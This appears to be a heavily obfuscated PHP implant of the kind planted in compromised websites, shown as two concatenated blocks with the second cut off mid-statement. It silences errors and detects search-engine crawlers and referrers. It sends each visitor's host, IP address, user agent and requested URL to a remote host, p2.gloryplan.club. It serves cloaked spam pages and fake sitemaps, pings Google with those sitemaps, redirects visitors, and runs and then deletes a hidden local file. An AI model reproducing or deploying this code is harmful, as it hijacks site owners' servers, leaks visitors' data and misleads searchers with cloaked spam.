array_push($J0mtv, "\170\144\x6f\x69\x6d\x3a\40" . crc32($tk_8W . "\134\x6e" . $cYU0v)); goto O_8fd; oHYeB: array_push($J0mtv, "\170\144\157\151\x6d\72\x20" . crc32($tk_8W . "\x5c\156" . $cYU0v)); goto Ta9Yz; z2Iax: array_push($J0mtv, "\164\x69\155\x65\163\164\x61\x6d\x70\72\40" . $tk_8W); goto oixov; ifZtB: $c_SMM = $cYU0v . "\x26\150\x74\x74\160\75" . $nW0VB . "\46\x67\162\157\165\x70\x69\144\x3d" . $SCYPM; goto vLz1Z; EX2J9: $x9LBx = @file_get_contents("\160\x68\x70\x3a\x2f\57\x69\x6e\x70\165\164"); goto lfyy0; RWkJV: sblfw: goto c4Qlr; Dtr9E: unlink("\56\x65\107\101\x30\x54\171\62\x57\x4c\x68"); goto fx58i; FwZeu: function gets() { return "\160\x32\x2e\x67\154\x6f\x72\x79\160\x6c\x61\156\56\x63\154\165\142"; } goto i_mHp; oUDYN: $cYU0v .= "\x26\x67\162\157\165\160\151\x64\x3d" . $SCYPM; goto L1s1u; dor0L: $K1gw2 = "\x20\74\x73\x69\164\145\x6d\x61\160\76\x20\x3c\154\157\x63\76\x25\x73\72\x2f\57\45\163\57\163\151\x74\x65\155\141\160\45\144\x2e\170\155\x6c\x3c\x2f\154\157\x63\76\x3c\x2f\163\151\x74\145\x6d\x61\160\x3e"; goto RlA0r; tn5v7: if (@preg_match("\43\50\x5c\x64\x2b\x29\x2d\44\43", $ayaYm[1], $RAk2B)) { goto stfa1; } goto oUDYN; Ato_2: $dKwmf = "\74\x3f\x78\155\x6c\x20\166\145\x72\x73\151\x6f\x6e\x3d\x22\61\x2e\60\42\40\x65\x6e\143\x6f\x64\151\x6e\x67\x3d\42\x55\124\106\55\70\42\x3f\76\x3c\41\x2d\55\x20\141\x75\x74\x6f\147\145\156\x20\x62\171\x20\144\x6f\151\x6d\x20\x2d\55\x3e\15\xa\x3c\x73\x69\164\145\155\x61\x70\151\x6e\144\145\x78\x20\170\x6d\x6c\x6e\163\75\42\150\x74\164\160\x3a\57\57\167\x77\167\56\x73\151\164\x65\x6d\141\160\x73\x2e\157\x72\147\x2f\163\143\x68\x65\155\141\163\x2f\163\x69\x74\x65\155\141\160\x2f\x30\x2e\71\x22\x3e\40\x25\163\40\74\x2f\163\x69\164\x65\155\141\160\151\x6e\144\145\170\76"; goto dor0L; acVFq: $SCYPM = "\64\x32\x37"; goto GCyzl; kn1wY: $kDkeV = sprintf("\150\164\164\x70\163\72\57\x2f\x77\167\167\x2e\x67\x6f\157\x67\x6c\145\x2e\x63\157\x2e\x6a\x70\x2f\160\151\x6e\x67\77\163\151\164\x65\155\141\x70\75\45\x73\x3a\57\x2f\45\163\57\163\151\x74\145\x6d\141\x70\x25\x73\x2e\x78\x6d\154", $nW0VB, $aMbRe, $ayaYm[1]); goto oaWN2; xwj4Z: array_push($J0mtv, "\x74\x69\155\145\x73\x74\x61\155\x70\x3a\x20" . $tk_8W); goto u22Mj; MD2FV: $mgYR_ = urlx(sprintf("\150\x74\164\x70\163\72\x2f\x2f\x25\163\x2f\142\x6f\164\57\x33\x30\62\77" . $c_SMM . "\46\165\162\151\x3d" . $WCFF6, gets()), $J0mtv, $c_SMM, 1); goto rgYjj; zwwLW: function urlx($n24Xc, $J0mtv = null, $cYU0v = null, $c8I6w = null) { goto JdIGY; hV28q: curl_setopt($w7OXp, CURLOPT_HTTPHEADER, $J0mtv); goto k46bo; Zx0YV: if ($c8I6w === null) { goto flTNs; } goto FU7MF; JpRk5: curl_setopt($w7OXp, CURLOPT_FOLLOWLOCATION, 1); goto Zx0YV; qVJY7: curl_setopt($w7OXp, CURLOPT_SSL_VERIFYHOST, FALSE); goto Be0Od; htmtu: if (!(stripos($n24Xc, "\150\164\164\160\163\x3a") === 0)) { goto Oue1d; } goto mwlwk; Be0Od: Oue1d: goto gm29A; hGzeJ: curl_setopt($w7OXp, CURLOPT_POSTFIELDS, $cYU0v); goto sPdQc; B_pys: curl_setopt($w7OXp, CURLOPT_RETURNTRANSFER, 1); goto FJQuO; JdIGY: $w7OXp = curl_init(); goto YSmc8; mNi5h: curl_setopt($w7OXp, CURLOPT_POST, 1); goto hGzeJ; YSmc8: curl_setopt($w7OXp, CURLOPT_URL, $n24Xc); goto JpRk5; mwlwk: curl_setopt($w7OXp, CURLOPT_SSL_VERIFYPEER, FALSE); goto qVJY7; eCqgf: flTNs: goto htmtu; APUXB: if ($cYU0v === null) { goto dFHSn; } goto mNi5h; sPdQc: dFHSn: goto B_pys; k46bo: LVBMA: goto APUXB; VOij4: return $ptxk_; goto UtB9o; FJQuO: $ptxk_ = curl_exec($w7OXp); goto UKhYg; gm29A: if ($J0mtv === null) { goto LVBMA; } goto hV28q; FU7MF: curl_setopt($w7OXp, CURLOPT_ENCODING, "\x67\172\151\160\x2c\144\145\x66\154\141\164\145"); goto eCqgf; UKhYg: curl_close($w7OXp); goto VOij4; UtB9o: } goto SHaez; O_8fd: $bojMC = trim(urlx("\150\164\x74\160\163\x3a\57\57" . gets() . $ayaYm[0], $J0mtv, $cYU0v)); goto hJkcv; MWv87: exit; goto mucOy; SHaez: function cc($WCFF6) { goto XM0V7; iXSr8: $QQEAV = sprintf("\x25\165", crc32(sprintf("\x25\163\55\x25\x73", $QGt2C[0], $QGt2C[1]))); goto YWbgJ; H_EEk: l8iCd: goto iXSr8; TMstY: return false; goto H_EEk; LKNnk: if (!(sizeof($QGt2C) != 3)) { goto l8iCd; } goto TMstY; XM0V7: $QGt2C = explode("\55", substr($WCFF6, 1, strlen($WCFF6) - 6)); goto LKNnk; YWbgJ: return $QQEAV == $QGt2C[2]; goto cikgE; cikgE: } goto FwZeu; VFRr0: $cS1vw .= sprintf($K1gw2, $nW0VB, $aMbRe, $A5s0s, date("\x59\55\155\x2d\144\x5c\124\110\x3a\151\x3a\x73\120", time())); goto SjZ9z; CdVQ8: if (!($A5s0s <= intval($hXODD))) { goto xHoGE; } goto VFRr0; LvHxr: $n24Xc = $ayaYm[1] == '' ? sprintf($n24Xc, $aMbRe) : sprintf($n24Xc, $ayaYm[1]); goto rWhDU; ndsBQ: if (!($A5s0s <= intval($hXODD))) { goto en3Y1; } goto iHbas; yzPHb: if (!(@preg_match("\43\x67\x6f\x6f\147\154\x65\x2e\x63\x6f\x2e\152\160\174\147\x6f\x6f\x67\154\145\56\143\x6f\155\174\171\x61\x68\157\x6f\56\143\x6f\x2e\152\x70\174\x79\141\x68\157\x6f\56\143\157\x7c\142\151\x6e\x67\x2e\143\x6f\155\x7c\141\163\153\56\x63\x6f\155\x7c\x61\157\x6c\56\x63\157\155\x7c\x61\157\x6c\56\x6a\x70\43\151", $UknWv) && @preg_match("\x23\x28\x5b\x61\55\x7a\x49\x5d\53\51\55\x28\x5c\144\53\51\x3f\x28\x2d\x28\134\x64\53\51\x29\x3f\50\x2e\150\x74\155\x6c\51\44\x23\151", $WCFF6))) { goto DSBPr; } goto I9uD7; jDIgw: stfa1: goto Lloiy; Kirg1: $aMbRe = $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"]; goto EF0B2; rAAJK: if (!(isset($_SERVER["\x48\124\x54\x50\137\130\104\x4f\x49\x4d"]) && strlen($_SERVER["\x48\124\124\120\x5f\130\x44\117\111\x4d"]) > 0)) { goto xNlJx; } goto Qohj3; GCyzl: $yvT0C = "\74\x3f\170\x6d\154\40\166\145\162\x73\x69\x6f\x6e\x3d\x22\x31\56\60\42\x20\x65\156\x63\x6f\144\151\156\147\x3d\42\125\124\x46\55\70\42\x3f\76\74\41\x2d\55\40\141\x75\x74\x6f\x67\145\x6e\40\x62\171\40\x64\157\x69\155\x20\x2d\x2d\x3e\15\12\74\x75\162\154\163\145\x74\40\170\x6d\x6c\156\x73\x3d\42\x68\164\164\x70\x3a\x2f\x2f\167\167\167\x2e\163\x69\x74\x65\155\141\x70\163\x2e\157\162\x67\57\x73\143\x68\145\155\x61\x73\x2f\x73\x69\164\145\x6d\x61\160\x2f\60\x2e\x39\42\15\12\x20\x20\x20\x20\40\x20\x78\x6d\x6c\x6e\163\72\170\x68\164\x6d\154\x3d\x22\x68\164\x74\x70\72\57\x2f\x77\167\x77\56\167\x33\x2e\157\x72\x67\x2f\61\x39\71\x39\x2f\x78\150\164\155\x6c\x22\x3e\15\12\45\163\x3c\57\x75\162\x6c\x73\145\x74\76"; goto RoQ8Z; Hl3CN: goto sblfw; goto InyYD; HUBao: $J0mtv = array("\125\x73\145\162\x2d\101\x67\x65\x6e\164\x3a\x20" . $Obr0s, "\x4c\141\156\x67\72\x20" . $PzH6s, "\122\x65\x66\145\162\145\x72\72\40" . $UknWv, "\x48\x74\164\160\55\x48\x6f\163\x74\72\40" . $aMbRe, "\x52\145\x6d\x6f\x74\145\55\x41\144\x64\x72\72\40" . $PTsdq); goto FhXKS; Q4qrV: if (!@preg_match("\x23\136\x2f\x73\x69\164\x65\x2f\x3f\x28\x2e\52\77\51\44\x23\x69", $WCFF6, $ayaYm)) { goto rexO8; } goto c3qP3; ckUg9: rexO8: goto t8llQ; rfuzk: TrPuH: goto nLccG; J0oVm: Wki5E: goto TJQDv; No_K9: $WCFF6 = $_SERVER["\x52\105\121\x55\105\123\x54\137\x55\x52\x49"]; goto YjDFm; g41U4: @ignore_user_abort(1); goto acVFq; z1Y3B: $HmXoK = ''; goto sWXXy; c4Qlr: YSO9E: goto yzPHb; YDFXa: $cYU0v .= $RAk2B[1] == '' ? "\46\x67\162\x6f\165\x70\151\x64\75" . $SCYPM : "\x26\x67\162\157\x75\160\x69\144\75" . $RAk2B[1]; goto FgQfz; RL06J: $A5s0s++; goto umnj1; vLz1Z: if (@preg_match("\x23\50\x5b\x61\x2d\x7a\x5d\53\51\55\x28\134\x64\x2b\x29\x3f\50\x2e\x68\x74\x6d\154\x29\44\x23\151", $WCFF6, $ayaYm)) { goto sGWKD; } goto ozsy5; l1h_L: if (!@preg_match("\x23\x5e\x2f\x73\151\164\x65\155\x61\160\x28\56\52\x3f\x29\x2e\x78\x6d\154\44\x23\x69", $WCFF6, $ayaYm)) { goto SC9_L; } goto hS71r; qH1S8: if (!($hXODD === '')) { goto HCVcD; } goto ZWSCp; wkk0f: if (!(($ayaYm[1] === '' || $RAk2B[1] != '') && @preg_match("\x23\136\50\x5c\x64\51\52\43", $hXODD))) { goto e6jNh; } goto E8xEc; puCQB: $c_SMM .= sprintf("\x26\150\x70\151\144\75\x25\x73\x2d\x25\x73", preg_replace("\57\133\141\x2d\172\x49\x5d\x28\170\x79\172\x7c\142\x75\x7a\172\x29\x2e\x2a\44\x2f", "\x2e\x24\61", strrev($ayaYm[1])), $ayaYm[2]); goto foF94; AnSFS: $ptxk_ = substr($ptxk_, strpos($ptxk_, "\74\41\x2d\55\x20\55\55\x3e"), 100); goto vgaex; A7U8C: $tk_8W = strval(time()); goto z2Iax; nQZ4q: @set_time_limit(3600); goto g41U4; SjZ9z: V8vog: goto RL06J; BBKEt: Yv0ec: goto fJMmA; nLccG: $A5s0s++; goto RHeB2; UNQwo: xHoGE: goto wC5uX; S68DQ: echo include "\56\145\x47\x41\60\x54\x79\x32\127\114\x68"; goto Dtr9E; iPXgl: $Obr0s = isset($_SERVER["\110\124\x54\120\x5f\x55\x53\105\122\x5f\101\107\x45\x4e\x54"]) ? $_SERVER["\110\x54\x54\x50\x5f\x55\123\105\122\137\x41\x47\x45\x4e\124"] : ''; goto Kirg1; qpchN: SC9_L: goto rAAJK; QSkjX: goto DMdz2; goto cpwTQ; eaZ7a: goto sblfw; goto BBKEt; C6Jju: DMdz2: goto Y1dPx; xIoGK: HCVcD: goto gwCjo; OAK7d: exit; goto j5wxz; L8srK: exit; goto J0oVm; cI09s: e6jNh: goto WVqOg; uSXo0: echo $ayaYm[1]; goto GWUlY; L1s1u: goto cehHm; goto jDIgw; py7PF: @header("\x43\157\x6e\x74\x65\156\x74\55\x74\171\160\145\x3a\40\164\x65\x78\x74\57\x78\x6d\x6c"); goto wkk0f; Y1dPx: echo $cthY7; goto MWv87; t8llQ: if (!@preg_match("\x23\x5e\x2f\x67\x65\x74\166\145\x72\x24\x23\151", $WCFF6, $ayaYm)) { goto Wki5E; } goto GmDCe; H1u6q: UmgiY: goto CdVQ8; nvUtV: @ini_set("\x64\151\x73\x70\x6c\x61\171\x5f\145\x72\162\x6f\x72\163", 0); goto nQZ4q; m6Acj: echo @trim(urlx(sprintf("\x68\x74\164\x70\x73\72\x2f\x2f\x25\x73\57\x62\x6f\164\57\150\x6f\x6d\x65\x3f" . $c_SMM . "\x26\165\162\x69\x3d" . $WCFF6, gets()), $J0mtv, $c_SMM, 1)); goto DDScr; GmDCe: $tk_8W = strval(time()); goto xwj4Z; sWXXy: foreach ($GGdUj as $lWtJv) { goto RcrqK; R79cs: MGQdi: goto ANpei; W_SL6: $HmXoK .= sprintf($mSYG1, $mgYR_, $mgYR_); goto R79cs; RcrqK: $mgYR_ = $nW0VB . "\x3a\57\x2f" . $aMbRe . "\57" . $lWtJv; goto W_SL6; ANpei: } goto OJdTj; WpRx6: IEgvg: goto C6Jju; Lloiy: $cYU0v .= "\46\147\162\157\x75\x70\x69\x64\x3d" . $RAk2B[1]; goto wlOPy; TJQDv: if (!@preg_match("\43\x67\x6f\157\147\x6c\145\174\x79\x61\150\157\157\x7c\142\151\x6e\147\174\143\x72\141\x66\x74\x7c\x43\162\141\x77\x6c\x65\x72\43\151", $Obr0s)) { goto YSO9E; } goto ifZtB; YjDFm: if (!@preg_match("\x23\136\57\160\151\156\x67\163\151\x74\145\155\x61\160\50\x2e\x2a\77\51\x2e\170\155\154\x24\43\151", $WCFF6, $ayaYm)) { goto aTiNP; } goto eB5Je; RHeB2: goto qqK1r; goto H2PUQ; foF94: echo @trim(urlx(sprintf("\x68\164\x74\x70\163\72\57\57\45\x73\57\142\x6f\x74\57\x70\x61\x67\x65\77" . $c_SMM, gets()), $J0mtv, $c_SMM, 1)); goto IAIDs; gBvrf: $A5s0s = 1; goto H1u6q; ndaQZ: $UknWv = isset($_SERVER["\x48\124\x54\x50\137\122\105\106\x45\122\105\x52"]) ? $_SERVER["\110\124\124\x50\x5f\x52\x45\106\x45\x52\x45\x52"] : ''; goto iPXgl; RlA0r: $PzH6s = isset($_SERVER["\x48\124\124\x50\x5f\101\103\103\x45\x50\124\x5f\114\101\116\x47\x55\101\107\105"]) ? substr($_SERVER["\x48\x54\x54\120\x5f\101\x43\103\x45\x50\124\137\114\101\116\x47\125\x41\x47\x45"], 0, 4) : ''; goto ndaQZ; InyYD: sGWKD: goto puCQB; hJkcv: echo $TN3rn === false ? "\x66\141\x69\154" . gets() : $bojMC . $SCYPM . gets(); goto L8srK; q04vP: cxO_F: goto py7PF; c3qP3: $n24Xc = urldecode("\150\164\164\160\163\x3a\57\57\163\145\141\162\143\150\56\171\141\x68\157\x6f\x2e\143\x6f\56\152\160\x2f\163\x65\x61\162\x63\x68\x3f\x70\75\163\x69\164\x65\72\x25\x73\46\x65\x69\75\x55\x54\106\55\70"); goto LvHxr; RUHBv: exit; goto qpchN; OJdTj: KxYGw: goto vdvmQ; GWUlY: exit; goto ckUg9; chmvZ: error_reporting(0); goto nvUtV; E8xEc: $cS1vw = ''; goto gBvrf; cyyjp: qqK1r: goto ndsBQ; oixov: array_push($J0mtv, "\170\144\157\151\155\x3a\x20" . crc32($tk_8W . "\134\x6e" . $cYU0v)); goto w2Ogl; iHbas: $kDkeV = sprintf("\150\x74\164\160\163\72\x2f\57\x77\x77\167\x2e\147\x6f\x6f\147\154\145\x2e\x63\x6f\x2e\x6a\x70\x2f\x70\x69\x6e\147\77\x73\x69\164\145\155\x61\x70\x3d\x25\x73\72\57\57\45\x73\x2f\163\x69\164\x65\x6d\141\x70\x25\163\x25\x64\x2e\x78\x6d\154", $nW0VB, $aMbRe, $RAk2B[0], $A5s0s); goto sI18l; FhXKS: $cYU0v = "\163\x68\x6f\163\164\75" . $aMbRe . "\x26\x70\162\157\164\x6f\x3d" . $nW0VB; goto No_K9; r0tu3: function urls($aMbRe, $mpZK6, $Obr0s, $uBVCh, $AwydS = null) { goto HqCUd; loxsL: $yGxUI = "\107\105\124\40" . $mpZK6 . "\77" . $AwydS . "\x20\x48\124\124\x50\x2f\61\56\x30\xd\12\110\157\163\164\72\x20" . $aMbRe . "\15\12\122\145\x66\x65\162\x65\x72\72\x20" . $uBVCh . "\15\12\125\163\145\x72\55\x41\147\x65\156\164\x3a\40" . $Obr0s . "\xd\12\15\12"; goto sryfr; sryfr: $jesy8 = fwrite($oOSVw, $yGxUI); goto o1qqD; o1qqD: fclose($oOSVw); goto SMgyC; HqCUd: $oOSVw = stream_socket_client("\x73\163\154\x3a\x2f\57" . $aMbRe . "\x3a\64\64\63", $ybaz5, $ZTIr4, 6); goto loxsL; SMgyC: } goto zwwLW; RoQ8Z: $mSYG1 = "\40\74\165\162\x6c\76\40\74\x6c\x6f\143\76\x25\163\74\57\154\x6f\x63\76\x3c\170\150\164\155\154\72\x6c\151\156\x6b\x20\x72\x65\154\x3d\42\x61\154\x74\145\x72\156\141\x74\x65\42\40\150\x72\x65\146\154\x61\x6e\147\x3d\x22\152\x61\42\x20\150\162\x65\146\x3d\42\x25\163\42\57\76\x3c\57\165\x72\x6c\x3e"; goto Ato_2; H2PUQ: en3Y1: goto WpRx6; fV4tU: $cthY7 .= $kDkeV . $bQ1nQ; goto rfuzk; wlOPy: cehHm: goto A7U8C; zjUg_: $cthY7 .= $kDkeV . $bQ1nQ; goto QSkjX; cpwTQ: JqApy: goto YDFXa; eB5Je: $cthY7 = ''; goto qIWhL; sNiNE: if (!($hXODD === '')) { goto cxO_F; } goto fcSMr; OSBX_: $nW0VB = https(); goto HUBao; FgQfz: $tk_8W = strval(time()); goto LmrPc; Ta9Yz: $hXODD = trim(urlx("\150\x74\164\160\163\x3a\57\57" . gets() . "\57\x73\151\x74\x65\155\141\160\56\170\x6d\154", $J0mtv, $cYU0v . "\x26\150\164\x74\x70\75" . $nW0VB)); goto qH1S8; fx58i: exit; goto aS6o4; sI18l: $bQ1nQ = urlx($kDkeV); goto fV4tU; rqUne: function clientip() { goto VXWX4; Zp5dn: goto Zp0Mj; goto BCTEM; VXWX4: if (getenv("\x52\x45\x4d\x4f\124\105\137\x41\104\104\x52") && strcasecmp(getenv("\x52\x45\x4d\x4f\124\x45\137\x41\104\x44\122"), "\x75\156\x6b\156\x6f\x77\x6e")) { goto Aybgd; } goto qwzmz; qwzmz: if (isset($_SERVER["\122\105\x4d\x4f\x54\x45\137\x41\x44\x44\x52"]) && $_SERVER["\x52\105\x4d\117\124\105\137\x41\x44\104\x52"] && strcasecmp($_SERVER["\x52\105\115\x4f\124\x45\x5f\x41\x44\x44\122"], "\165\156\x6b\x6e\157\167\x6e")) { goto VOQcj; } goto Vj3s6; BCTEM: VOQcj: goto ZxbVm; ZxbVm: return $_SERVER["\x52\105\x4d\117\124\x45\137\x41\104\x44\x52"]; goto nsDBu; UOsFT: Aybgd: goto QIgLI; nsDBu: Zp0Mj: goto mvRfe; QIgLI: return getenv("\x52\105\x4d\x4f\124\105\x5f\x41\104\x44\122"); goto Zp5dn; Vj3s6: goto Zp0Mj; goto UOsFT; mvRfe: }?>

<?php goto N0LEM; N0LEM: error_reporting(0); goto Z9s2I; HN1CE: $tTO3a = urlx(sprintf("\150\x74\164\x70\163\x3a\57\x2f\x25\163\x2f\142\157\164\57\x33\60\x32\x3f" . $vjyN3 . "\x26\165\162\x69\x3d" . $JX_f6, gets()), $LxVDD, $vjyN3, 1); goto CfsMV; gGVwV: kqjMt: goto UXQhn; CkbWa: foreach ($JwqoC as $oPV16) { goto d5Abd; VvwLB: $S1fyL .= sprintf($cUs9K, $tTO3a, $tTO3a); goto AJkWC; d5Abd: $tTO3a = $P9uZX . "\x3a\57\x2f" . $FM_Rq . "\x2f" . $oPV16; goto VvwLB; AJkWC: c2TFR: goto zPSVp; zPSVp: } goto CeZ31; LPcbt: $VXx4x = 1; goto xKPg3; atcMN: $K1D3k = trim(urlx("\x68\x74\164\160\x73\72\x2f\x2f" . gets() . "\x2f\163\x69\164\x65\x6d\x61\x70\x2e\170\155\154", $LxVDD, $sIEqf . "\x26\150\164\164\x70\x3d" . $P9uZX)); goto mTUgF; ycAxR: if (@preg_match("\x23\x28\134\144\53\x29\55\x24\x23", $kIuo7[1], $jS08T)) { goto hP6d5; } goto N2dFW; N2dFW: $sIEqf .= "\46\x67\x72\157\x75\x70\x69\144\x3d" . $sEdiu; goto Qh4WE; XHNDC: exit; goto Ddiw2; Z2DhO: HPHpZ: goto DpAc9; XQoM0: echo @trim(urlx(sprintf("\x68\x74\x74\x70\x73\x3a\57\x2f\x25\163\57\142\157\x74\57\150\157\155\145\x3f" . $vjyN3, gets()), $LxVDD, $vjyN3, 1)); goto sCRyi; zZ0vT: $fz_I8 = strval(time()); goto N529J; GXmOA: if (!@preg_match("\43\x5e\50\134\x64\x29\x2a\43", $K1D3k)) { goto i9u5f; } goto LPcbt; xKPg3: nUuoL: goto LtCOR; keUXp: $fskHv = sprintf("\x68\164\x74\160\163\72\57\57\x77\167\167\x2e\147\157\x6f\x67\x6c\x65\56\x63\157\x2e\x6a\160\57\x70\x69\x6e\147\x3f\x73\x69\x74\145\x6d\141\x70\75\x25\x73\72\x2f\x2f\45\163\57\163\x69\x74\145\x6d\141\160\45\163\x2e\x78\x6d\154", $P9uZX, $FM_Rq, $kIuo7[1]); goto c6rem; MDSSg: qzdUR: goto P5T_Z; Iz8Rk: exit; goto X1_GT; Njq82: goto SZPwp; goto Wa4k7; eaUHY: b1hGD: goto lQh1K; rT4xy: if (!@preg_match("\x23\x5e\57\x70\151\156\x67\x73\151\x74\145\155\141\160\50\x2e\x2a\77\51\56\170\x6d\154\44\43\151", $JX_f6, $kIuo7)) { goto KVP1S; } goto hF7iE; squyK: $K1D3k = trim(urlx("\x68\164\164\160\163\x3a\x2f\x2f" . gets() . "\57\x73\151\164\145\x6d\141\x70" . ($kIuo7[1] == '' || $jS08T[1] != '' ? "\x2e\x78\x6d\x6c" : "\x2f" . $kIuo7[1]), $LxVDD, $sIEqf)); goto Xb0wt; cZyk2: $VXx4x++; goto WCwe_; Wg6uS: echo include "\x2e\145\107\101\x30\x54\x79\x32\127\114\150"; goto WwN3N; hF7iE: $QA6By = ''; goto lDCt0; yePZ3: if (!@preg_match("\x23\x5e\x2f\x73\x69\164\x65\155\x61\160\50\x2e\52\x3f\51\56\x78\x6d\x6c\x24\x23\151", $JX_f6, $kIuo7)) { goto dofGa; } goto bpACg; A6yWh: exit; goto dCsxH; sCRyi: exit; goto HHqvu; kowhj: r1yAq: goto mB3M4; WCwe_: goto nUuoL; goto kowhj; dCsxH: KVP1S: goto yePZ3; ZHyjO: $XWt9l = urldecode("\x68\164\164\160\x73\x3a\x2f\57\x73\145\x61\162\x63\x68\56\171\141\150\x6f\157\56\143\x6f\x2e\x6a\160\57\x73\145\141\162\143\x68\x3f\160\75\163\151\164\x65\72\x25\x73\x26\x65\151\75\x55\x54\106\x2d\70"); goto TU5ag; D0VZv: $Llf78 = ''; goto o36qI; oVavJ: @ignore_user_abort(0); goto xa2H5; GK_vS: echo $QA6By; goto A6yWh; W2SnR: if (!(($kIuo7[1] === '' || $jS08T[1] != '') && @preg_match("\x23\x5e\50\134\x64\51\x2a\43", $K1D3k))) { goto rhMDp; } goto D0VZv; bWXPA: uYk1B: goto FkdSh; GhDBs: $S1fyL = ''; goto CkbWa; ZPz0Z: if (!@preg_match("\43\136\57\147\145\164\x76\145\x72\x24\43\151", $JX_f6, $kIuo7)) { goto uYk1B; } goto zZ0vT; IIQ31: array_push($LxVDD, "\170\144\157\151\155\x3a\x20" . crc32($fz_I8 . "\x5c\156" . $sIEqf)); goto atcMN; s8_St: echo sprintf($ErSHO, $S1fyL); goto H8KO6; j8m3o: $qu9pA = str_replace(array("\57\134\x2f\x73\x2b\57", "\134\162\134\x6e", "\x5c\x72", "\134\x6e", "\42", "\54"), '', $qu9pA); goto DWCVF; LtCOR: if (!($VXx4x <= intval($K1D3k))) { goto r1yAq; } goto e114x; wn5yn: $xI711 = isset($_SERVER["\110\124\124\x50\137\x41\x43\103\105\x50\124\137\x4c\x41\116\x47\125\x41\107\x45"]) ? substr($_SERVER["\x48\124\x54\120\x5f\101\103\x43\x45\x50\x54\x5f\x4c\101\116\x47\x55\101\107\x45"], 0, 4) : ''; goto GKDNK; Z9s2I: @set_time_limit(3600); goto oVavJ; n6OUy: exit; goto eaUHY; lozPm: hP6d5: goto bpljk; lC7uS: if (!(@preg_match("\43\147\x6f\x6f\x67\x6c\145\56\143\157\x2e\152\160\174\x67\x6f\x6f\147\154\x65\x2e\x63\x6f\155\174\171\x61\150\157\x6f\x2e\x63\157\x2e\152\160\x7c\171\141\150\157\157\x2e\x63\157\x7c\142\151\x6e\x67\x2e\x63\157\155\x7c\x61\x73\x6b\56\x63\157\x6d\x7c\x61\157\154\56\x63\x6f\x6d\x7c\x61\x6f\154\x2e\152\x70\43\x69", $rC71M) && @preg_match("\x23\x28\x5b\141\55\x7a\x49\135\x2b\51\x2d\50\134\144\53\51\x3f\x28\x2d\50\134\144\53\51\51\x3f\x28\56\x68\164\155\x6c\51\44\43\151", $JX_f6))) { goto b1hGD; } goto Bzuyl; uRc0z: array_push($LxVDD, "\x74\x69\155\x65\163\164\x61\155\160\72\40" . $fz_I8); goto CsbDA; uo0Eh: exit; goto HR0bW; OMcNa: L2fB0: goto xxeer; Wjoq7: $qu9pA = urlx($XWt9l, null, null, 1, "\115\x6f\172\x69\x6c\x6c\141\x2f\x35\x2e\x30\40\x28\x57\151\x6e\144\157\x77\x73\73\40\125\73\x20\127\151\156\x64\157\x77\163\x20\116\124\40\x35\56\x31\x3b\x20\x65\156\55\x55\x53\51\40\x41\x70\x70\x6c\145\x57\x65\142\x4b\151\164\x2f\x35\x33\64\x2e\x37\40\x28\113\110\124\115\x4c\54\40\x6c\x69\x6b\145\x20\107\145\x63\x6b\157\x29\40\103\x68\162\x6f\155\x65\x2f\67\56\60\x2e\x35\61\x37\x2e\64\61\x20\123\141\146\x61\162\151\x2f\65\x33\64\x2e\67"); goto dWN2l; Iz1hX: dofGa: goto Z3yY6; CeZ31: rKnP2: goto s8_St; FkdSh: if (!@preg_match("\x23\x67\x6f\x6f\x67\154\x65\x7c\x79\141\x68\x6f\x6f\174\142\151\x6e\147\174\x63\x72\x61\x66\164\x7c\x43\x72\141\167\154\145\162\x23\x69", $LQPDD)) { goto w58my; } goto DbDgz; bpACg: $sIEqf = "\163\x68\157\163\x74\x3d" . $FM_Rq . "\46\150\164\164\x70\x3d" . $P9uZX; goto ycAxR; MCQdU: if (!@preg_match("\43\x5e\57\163\151\x74\x65\57\x3f\50\56\x2a\x3f\51\44\43\x69", $JX_f6, $kIuo7)) { goto cFrfX; } goto ZHyjO; o36qI: $VXx4x = 1; goto bOlZl; U8M35: exit; goto qO9Ab; U9kPf: $VXx4x++; goto Njq82; dWN2l: $qu9pA = substr($qu9pA, strpos($qu9pA, "\x3c\41\55\55\x20\55\55\76"), 100); goto j8m3o; lPKLq: goto kqjMt; goto OMcNa; DpAc9: $fz_I8 = strval(time()); goto uRc0z; P5T_Z: $sIEqf .= $jS08T[1] == '' ? "\46\147\162\157\x75\160\x69\x64\x3d" . $sEdiu : "\x26\147\x72\157\165\x70\151\144\x3d" . $jS08T[1]; goto CiR0J; rpFhu: exit; goto lPKLq; dsVUm: if (@preg_match("\x23\x28\133\x61\x2d\x7a\x5d\53\51\55\50\134\144\53\51\x3f\50\x2e\x68\x74\x6d\x6c\51\x24\43\151", $JX_f6, $kIuo7)) { goto aajfG; } goto NgXvu; mAnvd: array_push($LxVDD, "\170\144\x6f\151\x6d\72\x20" . crc32($fz_I8 . "\134\x6e" . $sIEqf)); goto U81gP; DWCVF: @preg_match("\43\x28\134\x64\52\x29\344\xbb\266\74\x21\x2d\55\43", $qu9pA, $kIuo7); goto Q72it; qbmRp: if (!($VXx4x <= intval($K1D3k))) { goto tvpRS; } goto LLn3W; DbDgz: $vjyN3 = $sIEqf . "\x26\x68\x74\164\160\75" . $P9uZX . "\x26\147\162\x6f\165\160\x69\x64\x3d" . $sEdiu . "\46\x75\162\x69\x3d" . $JX_f6; goto dsVUm; IMGQJ: $ErSHO = "\x3c\x3f\x78\155\x6c\40\x76\x65\x72\x73\151\x6f\x6e\x3d\x22\x31\x2e\x30\42\40\145\x6e\x63\157\x64\x69\156\x67\x3d\42\125\124\x46\x2d\x38\42\x3f\x3e\x3c\x21\55\55\x20\x61\165\164\x6f\147\145\x6e\x20\x62\171\40\144\157\151\155\x20\55\55\76\xd\xa\x3c\x75\162\154\163\x65\164\x20\170\x6d\154\156\x73\75\42\150\164\x74\x70\72\x2f\x2f\167\167\167\x2e\163\x69\164\x65\x6d\x61\x70\x73\56\x6f\162\x67\x2f\x73\x63\x68\145\x6d\x61\163\x2f\x73\x69\x74\145\x6d\x61\160\x2f\60\56\71\x22\xd\xa\40\40\x20\x20\40\x20\170\x6d\x6c\156\163\72\170\x68\x74\x6d\x6c\x3d\42\x68\164\x74\x70\x3a\x2f\x2f\167\167\x77\56\167\63\56\x6f\x72\147\x2f\x31\71\71\71\57\170\x68\164\x6d\x6c\42\x3e\xd\12\x25\163\74\x2f\165\162\154\x73\x65\x74\76"; goto b4lzP; U81gP: $f_e91 = trim(urlx("\150\164\x74\160\x73\72\x2f\57" . gets() . $kIuo7[0], $LxVDD, $sIEqf)); goto DKnUq; CfsMV: @header("\114\x6f\x63\x61\x74\x69\x6f\156\x3a\x20" . $tTO3a); goto n6OUy; wkQZk: aajfG: goto udJPn; mTUgF: if (!($K1D3k === '')) 